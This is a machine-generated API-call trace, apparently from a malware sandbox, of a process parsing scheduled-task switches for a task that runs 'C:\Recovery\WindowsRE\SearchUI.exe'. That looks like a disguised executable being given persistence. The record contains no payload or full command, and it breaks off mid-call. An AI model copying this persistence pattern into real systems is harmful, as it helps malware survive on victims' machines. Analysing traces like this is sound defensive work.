[0125.916] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.916] lstrlenW (lpString="|tr|") returned 4 [0125.916] lstrlenW (lpString="|tr|") returned 4 [0125.916] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0125.916] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.916] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.916] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.916] lstrlenW (lpString="-/") returned 2 [0125.916] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0125.916] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.916] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.916] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.916] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.916] StrChrIW (lpStart="'C:\\Recovery\\WindowsRE\\SearchUI.exe'", wMatch=0x3a) returned=":\\Recovery\\WindowsRE\\SearchUI.exe'" [0125.916] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.917] _memicmp (_Buf1=0x1fba65f4760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.917] _memicmp (_Buf1=0x1fba65fab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.917] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.917] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.917] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.917] lstrlenW (lpString="'C") returned 2 [0125.917] lstrlenW (lpString="-/") returned 2 [0125.917] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0125.917] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.917] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.917] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.917] _memicmp (_Buf1=0x1fba65fa950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.917] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.917] GetProcessHeap () returned 0x1fba65f0000 [0125.917] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa930) returned 1 [0125.917] GetProcessHeap () returned 0x1fba65f0000 [0125.917] RtlReAllocateHeap (Heap=0x1fba65f0000, Flags=0xc, Ptr=0x1fba65fa930, Size=0x4a) returned 0x1fba65f46e0 [0125.917] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.917] lstrlenW (lpString=" \x09") returned 2 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0125.917] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0125.918] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0125.919] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0125.919] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.919] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0125.919] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.919] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0125.919] GetLastError () returned 0x0 [0125.919] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.919] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.919] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.919] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.919] lstrlenW (lpString="/rl") returned 3 [0125.919] lstrlenW (lpString="-/") returned 2 [0125.919] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.919] lstrlenW (lpString="create") returned 6 [0125.919] lstrlenW (lpString="create") returned 6 [0125.919] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.919] lstrlenW (lpString="rl") returned 2 [0125.919] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.919] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|create|") returned 8 [0125.919] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.919] lstrlenW (lpString="|create|") returned 8 [0125.919] lstrlenW (lpString="|rl|") returned 4 [0125.919] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0125.919] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.919] lstrlenW (lpString="?") returned 1 [0125.919] lstrlenW (lpString="?") returned 1 [0125.919] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.920] lstrlenW (lpString="rl") returned 2 [0125.920] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.920] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|?|") returned 3 [0125.920] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.920] lstrlenW (lpString="|?|") returned 3 [0125.920] lstrlenW (lpString="|rl|") returned 4 [0125.920] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.920] lstrlenW (lpString="s") returned 1 [0125.920] lstrlenW (lpString="s") returned 1 [0125.920] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.920] lstrlenW (lpString="rl") returned 2 [0125.920] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.920] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|s|") returned 3 [0125.920] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.920] lstrlenW (lpString="|s|") returned 3 [0125.920] lstrlenW (lpString="|rl|") returned 4 [0125.920] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.920] lstrlenW (lpString="u") returned 1 [0125.920] lstrlenW (lpString="u") returned 1 [0125.920] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.920] lstrlenW (lpString="rl") returned 2 [0125.920] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.920] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|u|") returned 3 [0125.920] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.920] lstrlenW (lpString="|u|") returned 3 [0125.920] lstrlenW (lpString="|rl|") returned 4 [0125.920] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.921] lstrlenW (lpString="p") returned 1 [0125.921] lstrlenW (lpString="p") returned 1 [0125.921] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.921] lstrlenW (lpString="rl") returned 2 [0125.921] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.921] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|p|") returned 3 [0125.921] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.921] lstrlenW (lpString="|p|") returned 3 [0125.921] lstrlenW (lpString="|rl|") returned 4 [0125.921] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.921] lstrlenW (lpString="ru") returned 2 [0125.921] lstrlenW (lpString="ru") returned 2 [0125.921] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.921] lstrlenW (lpString="rl") returned 2 [0125.921] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.921] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ru|") returned 4 [0125.921] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.921] lstrlenW (lpString="|ru|") returned 4 [0125.921] lstrlenW (lpString="|rl|") returned 4 [0125.921] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0125.921] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.921] lstrlenW (lpString="rp") returned 2 [0125.921] lstrlenW (lpString="rp") returned 2 [0125.922] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.922] lstrlenW (lpString="rl") returned 2 [0125.922] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.922] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rp|") returned 4 [0125.922] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.922] lstrlenW (lpString="|rp|") returned 4 [0125.922] lstrlenW (lpString="|rl|") returned 4 [0125.922] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0125.922] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.922] lstrlenW (lpString="sc") returned 2 [0125.922] lstrlenW (lpString="sc") returned 2 [0125.922] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.922] lstrlenW (lpString="rl") returned 2 [0125.922] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.922] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.922] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.922] lstrlenW (lpString="|sc|") returned 4 [0125.922] lstrlenW (lpString="|rl|") returned 4 [0125.922] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0125.922] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.922] lstrlenW (lpString="mo") returned 2 [0125.922] lstrlenW (lpString="mo") returned 2 [0125.922] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.923] lstrlenW (lpString="rl") returned 2 [0125.923] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.923] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|mo|") returned 4 [0125.923] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.923] lstrlenW (lpString="|mo|") returned 4 [0125.923] lstrlenW (lpString="|rl|") returned 4 [0125.923] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0125.923] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.923] lstrlenW (lpString="d") returned 1 [0125.923] lstrlenW (lpString="d") returned 1 [0125.923] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.923] lstrlenW (lpString="rl") returned 2 [0125.923] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.923] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|d|") returned 3 [0125.923] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.923] lstrlenW (lpString="|d|") returned 3 [0125.923] lstrlenW (lpString="|rl|") returned 4 [0125.923] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.923] lstrlenW (lpString="m") returned 1 [0125.923] lstrlenW (lpString="m") returned 1 [0125.923] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.923] lstrlenW (lpString="rl") returned 2 [0125.923] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.923] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|m|") returned 3 [0125.923] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.923] lstrlenW (lpString="|m|") returned 3 [0125.924] lstrlenW (lpString="|rl|") returned 4 [0125.924] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.924] lstrlenW (lpString="i") returned 1 [0125.924] lstrlenW (lpString="i") returned 1 [0125.924] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.924] lstrlenW (lpString="rl") returned 2 [0125.924] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.924] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|i|") returned 3 [0125.924] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.924] lstrlenW (lpString="|i|") returned 3 [0125.924] lstrlenW (lpString="|rl|") returned 4 [0125.924] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.924] lstrlenW (lpString="tn") returned 2 [0125.924] lstrlenW (lpString="tn") returned 2 [0125.924] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.924] lstrlenW (lpString="rl") returned 2 [0125.924] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.924] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.924] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.924] lstrlenW (lpString="|tn|") returned 4 [0125.924] lstrlenW (lpString="|rl|") returned 4 [0125.924] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0125.924] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.924] lstrlenW (lpString="tr") returned 2 [0125.924] lstrlenW (lpString="tr") returned 2 [0125.925] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.925] lstrlenW (lpString="rl") returned 2 [0125.925] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.925] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.925] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.925] lstrlenW (lpString="|tr|") returned 4 [0125.925] lstrlenW (lpString="|rl|") returned 4 [0125.925] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0125.925] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.925] lstrlenW (lpString="st") returned 2 [0125.925] lstrlenW (lpString="st") returned 2 [0125.925] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.925] lstrlenW (lpString="rl") returned 2 [0125.925] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.925] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|st|") returned 4 [0125.925] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.925] lstrlenW (lpString="|st|") returned 4 [0125.925] lstrlenW (lpString="|rl|") returned 4 [0125.925] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0125.925] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.925] lstrlenW (lpString="sd") returned 2 [0125.925] lstrlenW (lpString="sd") returned 2 [0125.925] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.925] lstrlenW (lpString="rl") returned 2 [0125.925] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.926] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sd|") returned 4 [0125.926] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.926] lstrlenW (lpString="|sd|") returned 4 [0125.926] lstrlenW (lpString="|rl|") returned 4 [0125.926] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0125.926] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.926] lstrlenW (lpString="ed") returned 2 [0125.926] lstrlenW (lpString="ed") returned 2 [0125.926] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.926] lstrlenW (lpString="rl") returned 2 [0125.926] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.926] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ed|") returned 4 [0125.926] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.926] lstrlenW (lpString="|ed|") returned 4 [0125.926] lstrlenW (lpString="|rl|") returned 4 [0125.926] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0125.926] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.926] lstrlenW (lpString="it") returned 2 [0125.926] lstrlenW (lpString="it") returned 2 [0125.926] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.926] lstrlenW (lpString="rl") returned 2 [0125.926] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.926] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|it|") returned 4 [0125.926] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.927] lstrlenW (lpString="|it|") returned 4 [0125.927] lstrlenW (lpString="|rl|") returned 4 [0125.927] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0125.927] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.927] lstrlenW (lpString="et") returned 2 [0125.927] lstrlenW (lpString="et") returned 2 [0125.927] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.927] lstrlenW (lpString="rl") returned 2 [0125.927] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.927] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|et|") returned 4 [0125.927] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.927] lstrlenW (lpString="|et|") returned 4 [0125.927] lstrlenW (lpString="|rl|") returned 4 [0125.927] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0125.927] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.927] lstrlenW (lpString="k") returned 1 [0125.927] lstrlenW (lpString="k") returned 1 [0125.927] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.927] lstrlenW (lpString="rl") returned 2 [0125.927] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.927] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|k|") returned 3 [0125.927] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.927] lstrlenW (lpString="|k|") returned 3 [0125.927] lstrlenW (lpString="|rl|") returned 4 [0125.927] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.927] lstrlenW (lpString="du") returned 2 [0125.927] lstrlenW (lpString="du") returned 2 [0125.928] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.928] lstrlenW (lpString="rl") returned 2 [0125.928] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.928] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|du|") returned 4 [0125.928] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.928] lstrlenW (lpString="|du|") returned 4 [0125.928] lstrlenW (lpString="|rl|") returned 4 [0125.928] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0125.928] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.928] lstrlenW (lpString="ri") returned 2 [0125.928] lstrlenW (lpString="ri") returned 2 [0125.928] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.928] lstrlenW (lpString="rl") returned 2 [0125.928] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.928] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ri|") returned 4 [0125.928] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.928] lstrlenW (lpString="|ri|") returned 4 [0125.928] lstrlenW (lpString="|rl|") returned 4 [0125.928] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0125.928] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.928] lstrlenW (lpString="z") returned 1 [0125.928] lstrlenW (lpString="z") returned 1 [0125.928] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.928] lstrlenW (lpString="rl") returned 2 [0125.928] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.929] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|z|") returned 3 [0125.929] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.929] lstrlenW (lpString="|z|") returned 3 [0125.929] lstrlenW (lpString="|rl|") returned 4 [0125.929] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.929] lstrlenW (lpString="f") returned 1 [0125.929] lstrlenW (lpString="f") returned 1 [0125.929] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.929] lstrlenW (lpString="rl") returned 2 [0125.929] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.929] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.929] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.929] lstrlenW (lpString="|f|") returned 3 [0125.929] lstrlenW (lpString="|rl|") returned 4 [0125.929] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.929] lstrlenW (lpString="v1") returned 2 [0125.929] lstrlenW (lpString="v1") returned 2 [0125.929] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.929] lstrlenW (lpString="rl") returned 2 [0125.929] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.929] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|v1|") returned 4 [0125.929] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.929] lstrlenW (lpString="|v1|") returned 4 [0125.929] lstrlenW (lpString="|rl|") returned 4 [0125.929] StrStrIW (lpFirst="|v1|", 